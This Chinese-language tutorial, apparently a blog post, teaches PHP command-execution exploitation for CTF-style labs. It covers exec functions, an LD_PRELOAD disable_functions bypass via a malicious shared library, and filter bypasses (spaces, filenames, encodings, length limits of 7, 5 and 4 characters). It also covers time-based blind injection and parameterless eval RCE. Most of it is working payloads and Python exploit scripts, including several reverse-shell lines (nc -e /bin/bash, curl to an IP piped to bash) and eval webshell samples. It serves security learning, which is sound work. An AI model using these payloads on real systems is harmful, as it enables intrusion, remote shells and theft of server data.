PHP命令执行从0到1

命令执行函数介绍

常见函数:
常见的命令执行函数有:system,exec,passthru,shell_exec,反引号,popen,proc_open,pcntl_exec,我们需要关注它们怎么运行,运行的条件,参数以及能否回显

system

system(string $command,int &$return_var = ?)
command:执行command参数所指定的命令,并且输出执行结果,如果提供return_var参数,则此外部命令执行后的返回状态将会被设置到此变量中。

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
if(isset($cmd)){
system($cmd);
}
?>

url传入?cmd=ls即可执行system()得到回显结果

exec

exec(string $command,array &$output = ?,int &$return_var = ?)
command参数:要执行的命令。单独使用时只有最后一行结果,且不会回显
output参数:用命令执行的输出填充此数组,每行输出填充数组中的一个元素。即逐行填充数组。
需要借用print_r输出结果。

1
2
3
4
5
<?php
$cmd = 'dir';
exec($cmd,$lhq);
print_r($lhq);
?>

得到结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
Array
(
[0] => Volume in drive C is Windows-SSD
[1] => Volume Serial Number is 6A6D-471D
[2] =>
[3] => Directory of C:\Users\lenovo\Desktop\phptest
[4] =>
[5] => 2022/09/24 05:08 <DIR> .
[6] => 2022/09/24 05:08 <DIR> ..
[7] => 2022/09/29 03:16 58 1.php
[8] => 1 File(s) 58 bytes
[9] => 2 Dir(s) 17,335,787,520 bytes free
)

示例:

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
exec($cmd,$array);
print_r($array);
?>
//?cmd=ls

passthru

passthru(string $command,int &$return_var = ?)
command参数:要执行的命令。
输出二进制数据,并且需要直接传送到浏览器。和system差不多
示例:

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
echo "This is test!!!";
passthru($cmd);
?>
//cmd=ls

shell_exec

shell_exec(string $cmd)
cmd参数:要执行的命令。
环境执行命令,并且将完整的输出以字符串的方式返回。(无回显)功能等同于反引号
借用echoprint等输出结果
示例:

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
$output = shell_exec($cmd);
echo $output;
?>
//cmd=ls

反引号

效果等同于shell_exec

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
echo `$cmd,PHP_EOL;
?>
//cmd=ls

popen

popen(string $command,string $mode)
command参数:要执行的命令。
mode参数:模式。'r'表示阅读,'w'表示写入。
fgets获取内容->print_r输出内容
示例:

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
$lhq = popen($cmd,'r');
while($s=fgets($lhq)){
print_r($s);
}
?>
//cmd=ls

proc_open

proc_open($command,$descriptor_spec,$pipes,$cwd,$env_vars,$options)
command参数:要执行的命令。
descriptor_spec参数:定义数组内容。
pipes参数:调用数组内容
示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
$array = array(
array("pipe","r"),
array("pipe","w"),
array("file","/tmp/error-output.txt","a")
);
$fp = proc_open($cmd,$array,$pipes);
echo stream_get_contents($pipes[1]);
proc_close($fp);
?>
//cmd=ls

pcntl_exec

pcntl_exec(string $path,array $args = ?,array $envs = ?)
path必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)。
args是一个要传递给程序的参数的字符串数组。
envs是一个要传递给程序作为环境变量的字符串数组。这个数组是key => value格式的,key代表要传递的环境变量的名称, value代表该环境变量值。
在当前进程空间执行指定程序。

替换绕过函数过滤

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['cmd'])){
$c = $_GET['cmd'];
if(preg_match("/exec|system|popen|proc_open|\`/i",$c)){
eval($c);
}
else{
echo " 你是黑客么?";
}
}
?>
//?cmd=passthru('ls');

LD_PRELOAD绕过原理介绍

LD_PRELOAD
使用场景:disable_functions禁用所有可能用到的命令执行的函数

程序的链接

**静态链接:**在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
**装入时动态链接:**源程序编译后所得到的一组目标模块,在装内存时,边装入边链接。
**运行时动态链接:**原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。

对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。

动态链接:假如程序动态加载的函数是恶意的,就有可能导致disable_function被绕过。

LD_PRELOAD

修改库文件
它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。
这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。
通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。
使用自己的或是更好的函数(无需别人的源码)也可以向别人的程序注入恶意程序
mail:内嵌在PHP里,imagick:需要扩展安装

1
2
3
4
5
6
7
8
9
10
11
#vim demo.php
<?php
mail('','','','');
?>
#strace -o 1.txt -f php demo.php
把demo.php执行的动作,以文本方式记录在1.txt
# cat 1.txt | grep execve
检查调用了哪些子进程
"/usr/sbin/sendmail"
#readelf -Ws /usr/sbin/sendmail
查看sendmail调用了哪些库文件

里面有一个geteuid ,执行#vim demo.c

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void payload(){
system("echo '小可爱,你邮件还能发出去么?'");
}
int geteuid(){ //生成动作geteuid,执行payload
unsetenv("LD_PRELOAD"); //结束调用
payload();
}

执行#gcc -shared -fPIC demo.c -o demo.so
将带有命令的c文件编译成.so文件,生成动态链接库文件
重新编辑demo.php

1
2
3
4
<?php
putenv("LD_PRELOAD=./demo.so"); //加载动态链接库demo.so
mail('','','','');
?>

#php demo.php输出小可爱,你邮件还能发出去么?

  • 绕过条件:能够上传自己的.so文件;
  • 能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数并且未被禁止;
  • 存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()imap_mail() mb_send_mail()error_log()等。

mail()函数命令执行例题

例题源代码:

1
2
3
4
5
6
7
8
9
10
11
12
ini_set('open_basedir','/www/admin/localhost_81/wwwroot/class02'.$dir);    //控制路径
error_reporting(0);
if(issit($_POST['cmd'])){ //POST方式提交cmd,eval执行
$cmd = $_POST['cmd'];
if($cmd)
{
eval($cmd);
}
else{
echo "给你留个后门又能怎样?能拿到我根目录下的flag么?";
}
}

info信息
disable_functions禁用所有可能用到的命令执行的函数

mail函数可用

蚁剑测试连接成功

蚁剑连接可以上传下载文件,但是不能执行命令
构造payload:
mail函数—–>调用子程序”/usr/sbin/sendmail”—–>调用动态链接库geteuid函数
我们给geteuid重新赋值

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void payload(){
system("cat /flag > /tmp/flag");
}
int geteuid(){
unsetenv("LD_PRELOAD");
payload();
}

使用#gcc -shared -fPIC demo.c -o demo.so将带有命令的c文件编译成.so文件,生成动态链接库文件
demo.php

1
2
3
4
<?php
putenv("LD_PRELOAD=./demo.so"); //加载动态链接库demo.so
mail('','','','');
?>

使用蚁剑上传demo.c和demo.php,然后访问demo.php,就可以看见tmp目录下多出来一个flag文件
但是这种方法执行一条命令就需要上传两个文件十分的麻烦,所以我们干脆将demo.c要执行的命令改为反弹shell的命令,如:nc 192.168.1.161 7777 -e /bin/bash,然后我们只需在kali中nc -lvp 7777监听7777端口,等待命令执行后即成功反弹shell,若这种方法无法成功,
可以执行的命令复制到环境变量EVIL_CMDLINE直接读取命令
demo.c:

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int geteuid(){
const char* cmdline = getenv("EVIL_CMDLINE");
if(getenv("LD_PRELOAD") == NULL){ return 0;}
unsetenv("LD_PRELOAD");
system(cmdline);
}

demo.php:

1
2
3
4
5
6
7
8
9
10
11
<?php
$cmd = $_REQUEST["cmd"];
$out_path = $_REQUEST["outpath"];
$evil_cmdline = $cmd." > ".$out_path." 2>&1";
echo "<br/><b>cmdline:</b>".$evil_cmdline;
putenv("EVIL_CMDLINE=".$evil_cmdline);
$so_path = $_REQUEST["sopath"];
putenv("LD_PRELOAD=".$so_path);
mail("","", "", "");
echo "<br/><b>output:</b><br/>".nl2br(file_get_contents($out_path));
?>

要执行的系统命令cmd
output命令执行结果输出到指定路径下的文件
2>&1将标准错误重定向到标准输出
打印显示实际在linux上执行的命令
将执行的命令,配置成系统环境变量EVIL_CMDLINE
$sopath指定恶意动态链接库
上传后访问demo.php?cmd=ls&output=/tmp/lhq&sopath=./demo.so

蚁剑及pcntl绕过函数过滤

使用蚁剑的插件绕过disable_functions,此插件在蚁剑的插件市场中下载,蚁剑加载不出来插件库,这里可以手动导入或者进行代理科学上网,因为仓库在国外,不科学上网拉不下来插件。

非常的方便!
pcntl_exec函数
需单独加载组件
pcntl_exec(string $path,array $args = ?,array $envs = ?)
参数path:必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本。
参数args:是一个要传递给程序的参数的字符串数组。
参数envs:是一个要传递给程序作为环境变量的字符串数组。
例如:

1
2
3
#ls
#/bin/bash -c /bin/ls
path args

info信息:没有禁用pcntl_exec函数
但是pcntl_exec函数没有回显
解决方法一:cat文件并输出到有权限读取路径;
解决方法二:shell反弹
例题源代码:

1
2
3
4
5
6
7
8
9
10
11
12
ini_set('open_basedir','/www/admin/localhost_81/wwwroot/class02'.$dir);    //控制路径
error_reporting(0);
if(issit($_POST['cmd'])){ //POST方式提交cmd,eval执行
$cmd = $_POST['cmd'];
if($cmd)
{
eval($cmd);
}
else{
echo "给你留个后门又能怎样?能拿到我根目录下的flag么?";
}
}

POST提交:cmd=pcntl_exec("/bin/bash",array("-c","nc 192.168.1.201 7777 -e /bin/bash"));
参数path: “/bin/bash” 参数args: 以数组的形式包裹起来
-c 执行二进制文件 nc反弹tcp连接到kali,kali监听端口 -e /bin/bash 返回命令行交互界面

操作系统链接符

例题代码:

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
error_reporting(0);
$cmd = $_GET["cmd"];
if(isset($cmd)){
system("ls".$cmd);
}
?>

;:使多个命令按顺序执行 如:id;ls;pwd
提交?cmd=;cat flag.php
&:使命令在后台运行,这样就可以同时执行多条命令
提交?cmd=&cat flag.php,但是必须进行url编码,所以应该提交?cmd=%26cat flag.php
&&:如果前面的命令执行成功,则执行后面的命令
提交?cmd=1%26%26idid第一条命令无法执行成功,则后面的命令也无法执行
|:将前面的命令的输出作为后面命令的输入,把前面命令的结果当成后面命令的参数;前面的命令和后面的命令都会执行,但只显示后面的命令执行结果。
如:echo "ls -l"| /bin/bash
||:类似于程序中的if-else语句。若前面的命令执行成功,则后面的命令就不会执行;若前面的命令执行失败,则执行后面的命令。
例如:

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
error_reporting(0);
$cmd = $_GET["cmd"];
$cmd = $cmd.">/dev/null 2>&1";//>/dev/null 2>&1 把正常输出的错误输出全部丢入垃圾桶
if(isset($cmd)){
system("ls".$cmd);
}
?>

提交?cmd=cat flag||即可

空格过滤绕过

1
2
3
4
5
6
7
8
9
10
11
12
<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
$cmd = $_GET["cmd"];
if(isset($cmd)){
$cmd = preg_replace("# #","",$cmd);
echo "过滤后的命令:".$cmd."</br >";
echo "命令执行结果如下:";
system($cmd);
}
?>
  1. 大括号{cat,flag.php}
  2. $IFS代替空格:$IFS、${IFS}、$IFS$9,cat$IFSflag.php
    Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)。
    单纯$IFS2$IFS2被bash解释器当错变量名,输出不了结果,加一个{}就固定了变量名。
    $IFS$9后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串。
  3. 重定向字符<,<>,cat<flag.php
    “<”表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备。
  4. %09(Tab),%20(space),cat%09flag.php

文件名过滤绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!preg_match("/flag|system|php/i", $cmd)) {
eval($cmd);
}
else{
echo "命令有问题哦,来黑我丫!!!";
}
}

flag|system|php被过滤

  1. 通配符*绕过
    通配符是一种特殊语句,主要有问号(?)和星号(*),用来模糊搜索文件。
    ?在linux里面可以进行代替字母。?仅代表单个字符串,但此单字必须存在。
    1
    cat fl?g.ph?
    *在linux里面可以进行模糊匹配。*可以代表任何字符串。
    1
    cat f*
  2. 单引号、双引号绕过
    ''、""空字符
    1
    ?cmd=passthru('cat fl""ag.ph""p');
  3. 反斜线\绕过
    把特殊字符去掉功能性,单纯表示为字符串。
    1
    cat fl\ag.p\hp
  4. 特殊变量:$1$9$@$*
    输出为空
    1
    cat fl$1ag.p$9hp
  5. 内联执行
    自定义字符串,再拼接起来
    1
    2
    a=f;d=ag;c=l;cat $a$c$d.txt
    //表示cat flag.txt
  6. 利用linux中的环境变量
    使用环境变量里的字符执行变量
    echo $PATH
    1
    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
    echo f${PATH:5:1}
    使用环境变量PATH里的第5个字符,(从0开始计数,”l”为第五个字符),显示1个字符; 得到fl
    使用环境变量PATH里的第8个字符,(从0开始计数,”a”为第五个字符),显示1个字符; 得到fla
    echo f${PATH:5:1}${PATH:8:1}${PATH:66:1}.${PATH:93:1}h${PATH:93:1},得到flag.php

常见文件读取命令绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!preg_match("/flag|php|cat|sort|shell|\'/i", $cmd)) {
eval($cmd);
}
else{
echo "再来黑我丫!!!";
}
}

绕过方法:
一、tac:反向显示
与cat功能类似,但是反向显示,从最后一行往前开始显示。
二、more:一页一页的显示档案内容;
三、less:与more类似;
四、tail:查看末尾几行;默认显示最后10行
五、nl:显示的时候,顺便输出行号
六、od:以二进制的方式读取档案内容;使用时使用od -A d -c
七、xxd:读取二进制文件;
八、sort:主要用于排序文件;
这里被过滤了,使用passthru("/usr/bin/so?t fla\g.ph\p");
九、uniq:报告或删除文件中重复的行;
十、file -f:报错出具体内容;
十一、grep:在文本中查找指定的字符串;
?cmd=passthru("grep fla fla*"),从fla*文本文件中搜索包含”fla”字符串的行

编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!preg_match("/flag|php|cat|sort|shell/i", $cmd)) {
eval($cmd);
}
else{
echo "再来黑我丫!!!";
}
}

绕过原理:

一、base64编码

1
2
3
4
import base64
S = b'cat flag.php'
e64 = base64.b64encode(S)
print(e64)

cat flag -> Y2F0IGZsYWcucGhw
echo Y2F0IGZsYWcucGhw | base64 -d,|把前面指令执行的结果,变成后面指令的参数,解码读取命令
echo Y2F0IGZsYWcucGhw | base64 -d | /bin/bash把cat flag放进bash里执行命令
或者

1
2
`echo Y2F0IGZsYWcucGhw | base64 -d `
$(echo Y2F0IGZsYWcucGhw | base64 -d )

二、base32编码
一样的原理
三、HEX编码

1
2
3
4
import binascii
s = b"tac flag.php"
h = binascii.b2a_hex(s)
print(h)

得到74616320666c61672e706870 所以echo Y2F0IGZsYWcucGhw | xxd -r -p | bash
xxd:二进制显示和处理文件工具,-r -p将纯16进制转储的反向输出打印为了ASCII格式。
四、shellcode编码
16进制的机器码,printf "\x74\x61\x63\x20\x66\x6clx61\x67\x2e\x70\x68\x70"|bash
echo "\x74\x61\x63\x20\x66\x6clx61\x67\x2e\x70\x68\x70"|bash

无回显时间盲注

页面无法shell反弹或者无法回显忙或者没有写入权限,可尝试命令盲注。根据返回的时间来进行判断;
读取文件指定行的指定位置的字符;
相关命令:
一、sleep

1
sleep 5

5秒之后返回结果
二、awk NR

1
cat flag.php |awk NR==1

读取flag.php的第一行,awk逐行获取数据
三、cut -c

1
cat flag.php | awk NR==1 | cut -c 1

cut命令逐列获取单个字符,这里读取flag.php的第一行的第一个字符
四、if语句
判断命令是否执行

1
if [ $(cat flag | awk NR==2 | cut -c 1)==F ];then sleep 2;fi

if[]里的判断语句为真,则执行sleep 2,休眠2秒后返回结果
使用方法:ls/查看根目录来获取flag文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import time
url = "http://127.0.0.1/class08/1.php"
result = ""
for i in range(1,5):
for j in range(1,55):
#ascii码表
for k in range(32,128):
k = chr(k)
time.sleep(0.1)
payload = "?cmd="+f"if [`ls | awk NR=={i} | cut -c {j}` == {k}];then sleep 2;fi"
try:
requests.get(url = url+payload,timeout=(1.5,1.5))
except:
result += k
print(result)
break
result += " "

得知文件名后更改脚本即可

长度过滤绕过前置知识

相关命令

  • 通过>来创建文件
    1
    echo lhq > a
    创建文件a,并把字符串’lhq’写入到文件a里;
    通过>来将命令执行结果写入文件会覆盖掉文件原本的内容;
  • 通过>>追加内容
    在原本文件内容后面追加’love ljh’

    单独使用>,如>b,则是直接创建文件b,类似touch b
    命令换行
    在没有写完的命令后面加\,可以将一条命令写在多行:

    ls -t命令
    ls命令按字母顺序显示文件名
    ls -t按时间顺序显示文件名(后创建的排在前面),只能精确到秒
    组合运用
    1
    2
    3
    4
    >ag
    >l\\
    >f\\
    >cat\ \\

    创建好文件,按时间顺序显示,并把执行结果写入文件x里;
    1
    ls -t >x

    执行文件x

    或者使用sh x,也可成功命令执行,则在对命令长度有限制时,把一些很短的文件名拼接成可执行命令
    1
    2
    3
    4
    >创建很短的文件名
    ls -t按时间顺序列出文件名,按行储存
    \连接换行命令
    sh从文件中读取命令
    dir及星号和rev
    dir:基本上和ls一样,但有两个好处:
    一是开头字母是d,这使得它在alphabetical序中靠前;
    二是按列输出,不换行。
    *:相当于$(dir *)

    如果第一个文件名是命令的话就会执行命令,返回执行的结果,之后的文件名作为参数传入
    rev:可以反转文件每一行的内容

长度限制为7绕过方法解析

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
function filter($argv){
$a = str_replace("/\*|\?|/","=====",$argv);
return $a;
}
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 7) {
exec(filter($_GET['cmd']));
} else {
echo "flag in local path flag file!!";
}

GET提交cmd,限制长度<=7,并且不能写入*?
期望执行的命令:cat flag | nc 192.168.1.240 7777
kali的IP地址192.168.1.240,监听端口7777:nc -lvp 7777
cat flag展示内容,再通过nc反弹,提交到192.168.1.240:7777
步骤一:创建文件

1
2
3
4
5
6
7
8
9
10
11
?cmd=>7777
?cmd=>\ \\
?cmd=>240\\
?cmd=>1.\\
?cmd=>168.\\
?cmd=>192.\\
?cmd=>c\ \\
?cmd=>\|n\\
?cmd=>flag\\
?cmd=>t\ \\
?cmd=>ca\\

步骤二:将文件名按顺序写入到文件

1
ls -t>a

步骤三:执行脚本

1
?cmd=sh a

python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#encoding:utf-8
import time
import requests
baseurl = "http://192.168.1.6:19080/class09/2/index.php?cmd="
s = requests.session()
list=[
'>7777',
'>1\%20\\',
'>16\\',
'>1.\\',
'>168.\\',
'>2.\\',
'>19\\',
'>c\%20\\',
'>\|n\\',
'>ag\\',
'>fl\\',
'>t\ \\',
'>ca\\',
'ls -t>a'
]
for i in list:
time.sleep(1)
url = baseurl+str(i)
s.get(url)
s.get(baseurl+"sh a")

长度限制为5绕过方法

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
function filter($argv){
$a = str_replace("/\*|\?|/","=====",$argv);
return $a;
}
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
exec(filter($_GET['cmd']));
} else {
echo "flag in local path flag file!";
}

那么就出现了新的问题
ls -t>a字符串长度为7,超过限制5
>\ \\构造空格的字符串长度最少为5,超过一个空格便无法构造,长度限制为7时的命令和步骤不再适用
解决方法
更换期望执行的命令:curl 192.168.1.240|bash
在kali中开启web服务(80端口),默认页面index.html
python -m http.server 80
写入命令nc 192.168.1.240 7777 -e /bin/bash,并且在命令行nc -lvp 7777监听端口
目标靶机执行curl 192.168.1.240,访问到curl 192.168.1.240并下载默认页面index.html
|bash把下载的index.html交给bash执行,即执行nc 192.168.1.240 7777 -e /bin/bash
步骤一:构造ls -t>y
ls默认排序无法正常排出'ls\' ' \' '-t\' '>y','ls\'默认排在最后
可以先创建文件ls\,使用>ls\\,再创建文件_,并把ls\写入文件_,使用ls>_,再写入其他文件
并将新的ls的文件名使用>>追加进_,从而在_中包含ls -t>y,使用sh _即可执行ls -t>y

步骤二:分解命令,创造文件

1
2
3
4
5
6
7
8
9
10
11
#>bash
#>\|\\
#>61\\
#>1\\
#>1.\\
#>68\\
#>2.\\
#>19\\
#>\ \\
#>rl\\
#>cu\\

执行sh _,即可执行ls -t>y,创建文件y并把文件名按时间排序
步骤三:执行脚本sh y
python代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#encoding:utf-8
import time
import requests
baseurl = "http://192.168.1.6:19080/class09/3/index.php?cmd="
s = requests.session()
# 将ls -t 写入文件_
list=[
">ls\\",
"ls>_",
">\ \\",
">-t\\",
">\>y",
"ls>>_"
]
# curl 192.168.1.161/1|bash
list2=[
">bash",
">\|\\",
">\/\\",
">61\\",
">1\\",
">1.\\",
">8.\\",
">16\\",
">2.\\",
">19\\",
">\ \\",
">rl\\",
">cu\\"
]
for i in list:
time.sleep(1)
url = baseurl+str(i)
s.get(url)
for j in list2:
time.sleep(1)
url = baseurl+str(j)
s.get(url)
s.get(baseurl+"sh _")
s.get(baseurl+"sh y")

长度限制为4绕过方法

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
function filter($argv){
str_replace("/\?|/","=====",$argv);
return $argv;
}
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
exec(filter($_GET['cmd']));
} else {
echo "flag in local path flag file!";
}

新的问题:ls>>_追加命令长度最少为5,超过4个,不再适用
解决方法
步骤一:构造ls -t>g

1
2
3
4
>g\>
>t-
>sl
>dir


按字母排序,但是顺序不满足,可以在-t后面加h,不影响命令执行,但是可以改变排序

1
*>v


但是又有一个问题rev x长度为5,该怎么办呢,于是我们创建一个rev文件,并且使用通配符*v>x,来将rev v的内容写入x

1
2
>rev
*v>x


此处*为通配符,前能匹配rev,后可执行v;
为了防止”g”后面有其他文件名造成影响,可以在前面多创建一个文件”g;“,用”;”阻断后面字符的影响。
步骤二:构造一个反弹shell

1
2
3
curl 192.168.1.240|bash
#变形成16进制
curl 0xC0A801F0|bash

构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
?cmd=>ash
?cmd=>b\\
?cmd=>\|\\
?cmd=>F0\\
?cmd=>01\\
?cmd=>A8\\
?cmd=>C0\\
?cmd=>0x\\
?cmd=>\ \\
?cmd=>rl\\
?cmd=>cu\\
?cmd=>sh x
?cmd=>sh g

步骤三:反弹回来的shell查看flag
python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#encoding:utf-8
import time
import requests
baseurl = "http://192.168.1.6:19080/class09/4/ffff.php?cmd="
s = requests.session()
# 将ls -t 写入文件g
list=[
">g\;",
">g\>",
">ht-",
">sl",
">dir",
"*>v",
">rev",
"*v>x"
]
# curl 192.168.1.161|bash
list2= [
">ash",
">b\\",
'>\|\\',
'>A1\\',
'>01\\',
'>A8\\',
'>C0\\',
'>0x\\',
'>\ \\',
'>rl\\',
'>cu\\'
]
for i in list:
time.sleep(1)
url = baseurl+str(i)
s.get(url)
for j in list2:
time.sleep(1)
url = baseurl+str(j)
s.get(url)
s.get(baseurl+"sh x")
s.get(baseurl+"sh g")

无参数命令执行请求头绕过(php7.3)

1
2
3
4
5
6
7
<?php
error_reporting(0);
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>

解析:
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])只要在’code’里匹配到[^\W]+\((?R)?\),则替换为空
[^\W]+\((?R)?\)正则表达式[^\W]匹配字母数字下划线[A-Za-z0-9]
[^\W]+\(?\)匹配到”a()”形式的字符串,但是()内不能出现任何参数
(?R)代表递归,即a(b(c()))都能匹配到
[^\W]+\((?R)?\)能匹配到a(),a(b(c()))……格式的字符串,且()内不能有任何参数
只有a(),a(b(c()))……格式的字符串,能被替换为空

HTTP请求标头
getallheaders()获取所有HTTP请求标头

发送GET请求时所有HTTP请求标头header以Array数组列表方式展现出来
pos()显示第一项数据,end()显示最后一项数据,但是getallheaders()是倒着显示数据的
那么构造请求?code=eval(pos(getallheaders()));,并将请求数据包中的最后一行的内容改为我们想要执行的命令system('ls');即可

apache_request_headers()功能与getallheaders()相似,适用于Apache服务器
也可以利用system(‘nc 192.168.1.240 -e /bin/bash’);进行shell反弹

无参数全局变量RCE(php5/7)

1
2
3
4
5
6
7
<?php
error_reporting(0);
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>

php5版
get_defined_vars()返回所有已定义变量的值,所组成的数组
?code=print_r(get_defined_vars());返回数组顺序为GET ->POST->COOKIE->FILES

?code=print_r(pos(get_defined_vars()));&cmd=system('ls');使用&加入想要获取的指令

然后再使用end获取GET的最后一项cmd的值system(‘ls’);

构造?code=eval(end(pos(get_defined_vars())));&cmd=system('cat flag');即可
POC:

1
2
3
4
5
6
import requests
files = {
"system('type flag');": ""
}
r = requests.post("http://localhost/php_cmd/php80/class10/1.php?code=eval(pos(pos(end(get_defined_vars()))));", files=files)
print(r.content.decode("utf-8", "ignore"))

无参数session RCE(php5)

session_start()启动新会话或者重用现有会话,成功开始会话返回TRUE,反之返回FALSE
?code=print_r(session_id(session_start()));返回PHPSESSID的值,可以用BP修改PHPSESSID的值
print_r修改为show_source(),用bp修改PHPSESSID的值为./flag,用show_source()读取flag文件源代码。
或者修改外部函数为eval(),修改PHPSESSID的值为命令’phpinfo();’,但无法直接执行,需先把命令’phpinfo();’HEX编码为16进制,写入PHPSESSIDCookie: PHPSESSID=706870696e666f28293b
再用hex2bin()函数将16进制转换为二进制数,用eval执行
?code=eval(hex2bin(session_id(session_start())));

无参数scandir读取

scandir类似ls,在某文件路径下,把内容以列表形式显示出来

1
2
3
4
5
6
7
8
9
10
11
I. scandir()——列出指定路径中的文件和目录(PHP 5, PHP7,PHP 8)
ll. getcwd()——取得当前工作目录(PHP 4,PHP 5, PHP 7,PHP 8)
III. current()——返回数组中的当前值(PHP 4,PHP 5, PHP 7,PHP 8)
lV. array_reverse()——返回单元顺序相反的数组(PHP 4, PHP 5, PHP 7, PHP 8)
V. array_flip()——交换数组中的键和值(PHP 4,PHP 5,PHP 7,PHP 8)
Vl. next()——将数组中的内部指针向前移动(PHP 4,PHP 5, PHP 7,PHP 8)
VII. array_rand——从数组中随机取出一个或多个随机键
VIII.chdir()——系统调用函数(同cd),用于改变当前工作目录
IX. strrev()——用于反转给定的字符串
X. crypt()——用来来加密,目前Linux平台上加密的方法大致有MD5, DES,3 DES
Xl. hebrevc()——把希伯来文本从右至左的流转换为左至右的流

当前目录
查看当前目录:
?code=print_r(localeconv());
localeconv()显示的数组第一项为”.”

使用current()取得第一个点,再使用scandir()获取文件名
?code=print_r(scandir(current(localeconv())));

使用array_reverse(),再用current()取得第一个flag的内容,再将print_r改为show_source得到?code=show_source(current(array_reverse(scandir(current(localeconv())))));,从而获取到flag
getcwd
查看和读取当前目录文件,?code=print_r(getcwd());
getcwd()获取当前绝对路径
?code=print_r(scandir(getcwd()));,
?code=print_r(end(scandir(getcwd())));,
?code=show_source(end(scandir(getcwd())));
dirname()获取上一级目录,?code=print_r(dirname(getcwd()));相当于cd ..
?code=print_r(chdir(dirname(getcwd())));,这里必须使用一个chdir(),相当于将工作目录更改到上一级目录去,从而才能调用上一级目录的文件,否则工作目录一直在1.php这个目录,是无法访问到上一级目录的文件的
构造?code=print_r(scandir(dirname(chdir(dirname(getcwd())))));

即可构造

1
?code=show_source(end(scandir(dirname(chdir(dirname(getcwd()))))));

读取成功info.php的内容
或者使用array_flip将键和值对调,然后用array_rand随机获取键名
即构造

1
?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

另外两种类似的方法:

1
2
?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
?code=show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

根目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
?code=print_r(array());
?code=print_r(serialize(array()));
# serialize序列化
?code=print_r(crypt(serialize(array())));
